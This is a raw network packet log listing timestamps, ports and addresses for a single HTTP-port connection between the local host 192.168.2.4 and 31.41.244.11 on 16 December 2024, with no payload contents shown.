Dec 16, 2024 21:02:34.768441916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.768485069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.769309044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.769368887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.769418001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.769458055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.770401001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.770474911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.770565033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.770713091 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.771372080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.771392107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.771429062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.771461010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.772352934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.772432089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.772458076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.772490025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.773382902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.773432970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.773494005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.773539066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.774398088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.774461985 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.774498940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.774554014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.775434017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.775505066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.775584936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.775661945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.776386976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.776446104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.776479959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.776696920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.777475119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.777542114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.777664900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.777745962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.778523922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.778542995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.778593063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.778625011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.779393911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.779822111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.779864073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.779895067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.780400038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.780519962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.780566931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.781562090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.781850100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.781910896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.782051086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.782474041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.782646894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.782653093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.782696009 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.783385038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.783443928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.783504009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.783565998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.784542084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.784593105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.784653902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.784698963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.785552025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.785572052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.785619020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.786514997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.786583900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.786919117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.786998987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.787447929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.787507057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.787558079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.787730932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.788419008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.788486958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.788580894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.788628101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.789462090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.789515972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.789534092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.789578915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.790432930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.790498972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.790534973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.790684938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.791558027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.791579008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.791620016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.791651011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.792576075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.792597055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.792627096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.792656898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.793569088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.793662071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.793672085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.793783903 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.794625998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.794657946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.794676065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.794707060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.795495987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.795542955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.795614958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.795675993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.796488047 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.796549082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.796600103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.796643972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.797548056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.797616005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.797616959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.797666073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.798774004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.798823118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.798836946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.798880100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.799696922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.799746037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.799786091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.799828053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.800559044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.800605059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.800760031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.800883055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.801692963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.801758051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.801814079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.801903963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.802581072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.802633047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.802725077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.802781105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.803570986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.803647041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.803700924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.803755999 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.804595947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.804646969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.804713011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.804761887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.805725098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.805839062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.805882931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.806588888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.806641102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.806896925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.806983948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.807715893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.807735920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.807779074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.807780027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.808667898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.808686018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.808728933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.808728933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.809591055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.809802055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.949529886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.949572086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.949596882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.949646950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.949990988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.950022936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.950042009 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.950073004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.950783968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.950834990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.950885057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.950937986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.951872110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.951947927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.952115059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.952845097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.952904940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.952928066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.952975035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.953841925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.953918934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.953960896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.954016924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.954817057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.954868078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.954916954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.954960108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.955790043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.955861092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.955892086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.955938101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.956818104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.956876040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.956916094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.956964970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.957830906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.957887888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.957947016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.958034039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.958867073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.958921909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.959016085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.959232092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.959886074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.959958076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.959971905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.960014105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.960870981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.960951090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.960983038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.961144924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.961874962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.961930990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.961981058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.962213039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.962853909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.962912083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.962999105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.963140011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.963862896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.963917971 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.963958025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.964129925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.964953899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.965009928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.965012074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.965054035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.965889931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.965934038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.965946913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.965979099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.967051983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.967104912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.967133045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.967185020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.967880011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.967927933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.967993975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.968041897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.968926907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.968982935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.969044924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.969214916 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.969926119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.970016956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.970067978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.970114946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.970959902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.971016884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.971035957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.971074104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.971977949 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.972033978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.972090006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.972140074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.973038912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.973088980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.973145008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.973192930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.973954916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.974005938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.974066973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.974112034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.975075006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.975123882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.975214958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.975261927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.976412058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.976460934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.976527929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.976572990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.977185011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.977263927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.977289915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.977344036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.977982998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.978037119 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.978101969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.978154898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.979037046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.979098082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.979099989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.979146004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.980067968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.980232000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.980272055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.980323076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.981034994 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.981117964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.981127977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.981179953 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.982007027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.982064962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.982115984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.982166052 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.983015060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.983068943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.983105898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.983195066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.984026909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.984086037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.984141111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.984922886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.985132933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.985200882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.985248089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.986068964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.986143112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.986191988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.986233950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.987108946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.987164021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.987195015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.987351894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.988176107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.988230944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.988348007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.988400936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.989115000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.989166975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.989196062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.989245892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.990111113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.990164042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.990246058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.990302086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.991286993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.991348982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.991369963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.991400957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.992100954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.992153883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.992196083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.992247105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.993158102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.993211985 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.993321896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.993376017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.994183064 CET	80	49812	31.41.244.11	192.168.2.4
